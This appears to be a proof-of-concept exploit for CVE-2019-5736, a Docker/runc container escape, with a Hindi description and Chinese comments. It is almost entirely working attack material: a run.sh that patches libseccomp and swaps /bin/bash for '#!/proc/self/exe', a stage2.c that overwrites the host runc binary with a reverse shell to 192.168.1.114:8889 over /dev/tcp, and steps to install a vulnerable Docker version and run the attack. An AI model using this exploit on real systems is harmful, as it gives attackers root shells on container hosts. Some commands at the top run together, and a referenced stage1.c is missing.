
CVE-2019-5736 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो runc बाइनरी ओवरराइट के माध्यम से Docker कंटेनर से बच निकलने की अनुमति देता है, तथा libseccomp हेरफेर के माध्यम से होस्ट शेल तक पहुंच को सक्षम बनाता है।
संदर्भ: cve-2019-5736-poc
docker build -t cve .docker run -d cve /bin/bash -c "tail -f /dev/null"cp /usr/bin/docker-runc /usr/bin/docker-runc.bakdocker exec -it docker-id /bin/bashcd /root/libseccomp-2.5.1cd /root && ./run.sh && exitdocker exec -it docker-id /bin/bashrun.sh
#!/bin/bash
# libseccomp version should be carefully checked based on the version downloaded in /root directory after container creation
cd /root/libseccomp-2.5.1
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash
होस्ट मशीन: Ubuntu18.04
Docker-ce: 18.06.1~ce~3-0~ubuntu
docker-runc: 1.0
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
apt-cache madison docker-ce
apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
# 如出错,cd /var/lib/dpkg/updates删除目录下的所有文件再执行以上
root@root:~# sudo apt-get install docker-ce=18.06.1~ce~3-0~ubuntu
stage2.c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
int main(int argc, char **argv) {
printf("HAX2: argv: %s\n", argv[1]);
int res1 = -1;
int total = 10000;
while(total>0 && res1== -1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
printf("HAX2: fd: %d\n", fd);
const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.1.114/8889 0>&1 &\n";
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d\n", res, errno);
res1 = res;
total--;
}
}
docker build -t cve-2019-5736 .

docker run -d cve-2019-5736 /bin/bash -c "tail -f /dev/null"

docker-runc बैकअप लेंबाद में सिस्टम के docker-runc फ़ाइल को ओवरराइट करने के लिए
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
docker exec -it 655378598a92 /bin/bash
# 备注:及时修改run.sh文件中libseccomp版本信息再执行
cd /root
./run.sh
exit
# docker exec -it 655378598a92 /bin/bash
# 此时nc监听会收到一个反弹宿主机的shell
